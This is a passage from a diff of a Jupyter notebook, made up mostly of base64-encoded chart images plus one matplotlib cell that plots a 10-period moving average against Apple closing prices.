QEQRB8QkCEYVBKnQa8RzlqmDDgjI/ltBS7tdhdvxvRUZdA0SI66hIoWlqqo5fWultzdgiIQb+lKKW2NzfuRGthtxa76xcd9RMoWkRHXQJFiz91tPnYO4IgCELTkUFfEAShHdHWB/1MuwV4YLcWu+t3IzrqEihaREddAkWL33S06Tl9QRAEoXm0dU9fEARBaA5aa7+9ME/rbgX2AXuA5630LsBnwEHrvbOVfj/mGYFKYF6tsp4Hiqxy0huo8zHgAObZgZc80v8N+BkTJmK/DVpe87DFeaDMKiMb2OwvW1htcgK4bL0KgNv83Sa1+sZZoNLGvrEeuGTZ4xLwOzu0eNjkjFX2KWCOTTrOe9jjb8D/2NQ2qcBPlpaLQIaNbfO9Rz/5FhPhoDV1rAHKgaJa6V7rrLechjb6+gXchXl6F+B2oBiIAn7nYcyXgNetz92BYcBiT0MB0ZaRbrUMvRno66U+B3AY6AP8HbALiLK2jQEeB0qAXjZo2QNMsLZN8Kh/L5DvL1tYbZLg0SZ/BZb5u03cfQMYCuQAVTb2jTzgX+zup5ZNFgBrgY6WjhF2tY2HPX6y6rWjbQ4DKdbnuZg/IDva5m7Mn/B9lk3OYhzJVtFh5R2JOUZqD/pe66zv5dfpHa31Sa31TuvzTxiv7h5MSOb3rGzvAf9o5SnXWn8HXK1VVH/gL1rrn7XW14AvgWQvVcYBh7TWR7TWV4Bcqy601p9prT+x8l20QUs2psOgtf7Qo/4wrq9R0Oq2sNrkz1aeCoxHd7sf7VCtA3NALQVewAz6tvQNjPd21KrHtn5q2WQssFBrfcHSEWqHDvdxa+G0tNjRNteA49bnEMwZsh395CpQobUutvrIXuCJVtSBrj/Mvdc668O2OX2lVCQwGPg/4E6rg2O9d29k9yJgpFKqqxX1cyw1A725qS/Uc2162qnFwxY7MKdqG/xZv6XhXcyp410Yj8WONnkOE7/JiembdvaNxdbqb6uxt5/eC0xSShViItuetkmHm6cxA+9Wm3T8M7BJKVUK/BLzJ2hH25wBgpVSQ63jdxBmWrS1dDREs+q0ZY1cpdRtwIeY+asLtWLyN4rWep9S6nXM/FUFxkO85q0qb7t7yfOuXVo8bQG8Drg8PO9Wr9/j82xgIGbgH9vU+n2lQyl1NzARM+X2OWZO366+8TLm1L0zZp70jzZqcWLOeq4CbwH/0SwRvtPhPm5/C/ynjfaYi+mfezDX4vbboUVrrZVSqcCbQCwm7tgvmiWieTp8ht89faVUMGaQW6e1/shKLnOvsGW9lzdWjtZ6tdb6Aa31SMwpz0GlVE+lVIH1mkkjoZ4tLd2BD23ScsptCyAG6AaU+NsWnm0CLMFcY/B3mwzGHDSnMKG7nUqpQzbocHtLQZhrC7mY6S7s0GJtewzTNi9h/pj9rsPqIxstu7xqhz2UUt0wHvVOTH9dg5lb97sW6/N2zED9G0yAyYOtqKMhmlWnXz19Zf6OVwP7tNbLPDZtBNIwA04a8IcmlNVda12ulIoAUoB4rfVfMf+67jxBQF+lVG/MPGAqMKWWlqvUXMvXn1pKMHOjF4AngURgoT9tYdlhvaVjOWZOfb/13Z9tshf4I3BOa52ulKrQWv9CKbXUzzrcB87rlg3AnIKDn/up1TZXMWc9y5RSozEXc7+wQcdqjLe9QWt92Q57YG4y6MT1/voD19vIjrZZZ9W/AuPpL8asE+5zHY3QvN+u/Xv3zghMxynE3BpYgDlV6wpswfxTbgG6WPl7YP5pL2AuMJYCHa1tf8YMFLuAxAbqHIs5UA4Dr3ikv2Fp0ZgD66yftWR62EJjbuU6DOy23v1iCyDBqv+S9TqH8fT92iZe+obLxr6xw9Jy2bJHoR1aPGxywWqbi8CzNuqosNLtPG7/lev9tcIqy862cd/qfNwPOnIwS89etfb/lZXutc76XvJEriAIQjtCnsgVBEFoR8igLwiC0I6QQV8QBKEdIYO+IAhCO0IGfUEQhHaEDPqCIAjtCBn0BUEQ2hEy6AuCILQj/h+9tAwVn28TfgAAAABJRU5ErkJggg==\n"
+ },
+ "metadata": {
+ "needs_background": "light"
+ }
+ }
+ ],
+ "source": [
+ "plt.plot(stocks[\"close_10_sma\"], color=\"b\", label=\"SMA\")\n",
+ "plt.plot(df_aapl.Close, color=\"g\", label=\"Close prices\")\n",
+ "plt.legend(loc=\"lower right\")\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 12,
+ "metadata": {},
+ "outputs": [
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": "",
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